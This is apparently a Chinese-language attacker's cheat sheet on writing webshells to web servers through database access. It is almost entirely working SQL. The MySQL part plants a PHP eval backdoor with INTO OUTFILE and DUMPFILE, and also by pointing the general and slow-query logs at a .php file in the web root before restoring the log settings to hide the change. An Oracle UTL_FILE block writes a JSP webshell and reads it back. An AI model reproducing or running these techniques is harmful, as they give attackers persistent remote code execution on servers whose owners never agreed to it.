root权限
知道绝对路径
secure_file_priv没有具体值
secure_file_priv 是用来限制 load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限 这个值只是只读变量,只能通过配置文件修改,也就是说只能是管理员修改
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权
SHOW VARIABLES LIKE "secure_file_priv";
select @@global.secure_file_priv
select '<?php @eval($POST[1]); ?>' into outfile 'D:/phpStudy/PHPTutorialW/WW/a.php' lines terminated by '<?php phpinfo();?>'
select '<?php phpinfo();?>' into dumpfile 'c:/a.php' lines terminated by '<?php phpinfo();?>'
show variables like '%general%'; 查看配置,日志是否开启,和mysql默认log地址(记下原地址方便恢复)
set global general_log = on; 开启日志监测,默认关闭(如果一直开文件会很大的)
set global general_log_file = '/var/www/html/info.php'; 设置日志路径
select '<?php phpinfo();?>'; 执行查询,写入shell
--结束后,恢复日志路径,关闭日志监测
set global general_log_file = '原来地址'; 恢复
set global general_log = off; 关闭日志检测
由于日志检测后文件非常大,网站访问量大的话我们写入shell会出错 慢查询日志只有当查询语句执行时间超过系统默认的时间,该语句才会被写入进慢查询日志。 可以用以下语句来查询时长(默认为10秒)
show global variables like '%long_query_time%'
show variables like '%slow_query_log%'; 查看慢查询信息
set global slow_query_log=1; 启用慢查询日志(默认禁用)
set global slow_query_log_file='C:\\\\phpStudy\\\\WWW\\\\shell.php'; 修改日志文件路径
select '<?php @eval($_POST[abc]);?>' or sleep(11); 写shell
DBA权限
web绝对路径
create or replace directory IST0_DIR as '/home/oracle'; 建立一个Oracle的目录对象指向XXXX,这里为/home/oracle
grant read, write on directory IST0_DIR to system; 如果上面的写入失败就用这条命令进行授权
declare
isto_file utl_file.file_type; --定义变量的类型为utl_file.file_type
begin
isto_file := utl_file.fopen('IST0_DIR', 'ascotbe.jsp', 'W'); --指定为IST0_DIR 目录下面的kj021320.jsp文件写操作
utl_file.put_line(isto_file, '这是一个一句话webshell'); --写入字符串
utl_file.fflush(isto_file); --刷缓冲
utl_file.fclose(isto_file); --关闭文件指针
end;
验证:
declare
isto_file utl_file.file_type; --如上
fp_buffer varchar2(4000); --没必要说了吧?
begin
isto_file := utl_file.fopen('IST0_DIR', 'ascotbe.jsp', 'R'); -- 指定为读操作
utl_file.get_line (isto_file , fp_buffer ); --读取一行放到 fp_buffer 变量里面
dbms_output.put_line(fp_buffer);--在终端输出结果看看
utl_file.fclose(isto_file); --关闭文件指针
end;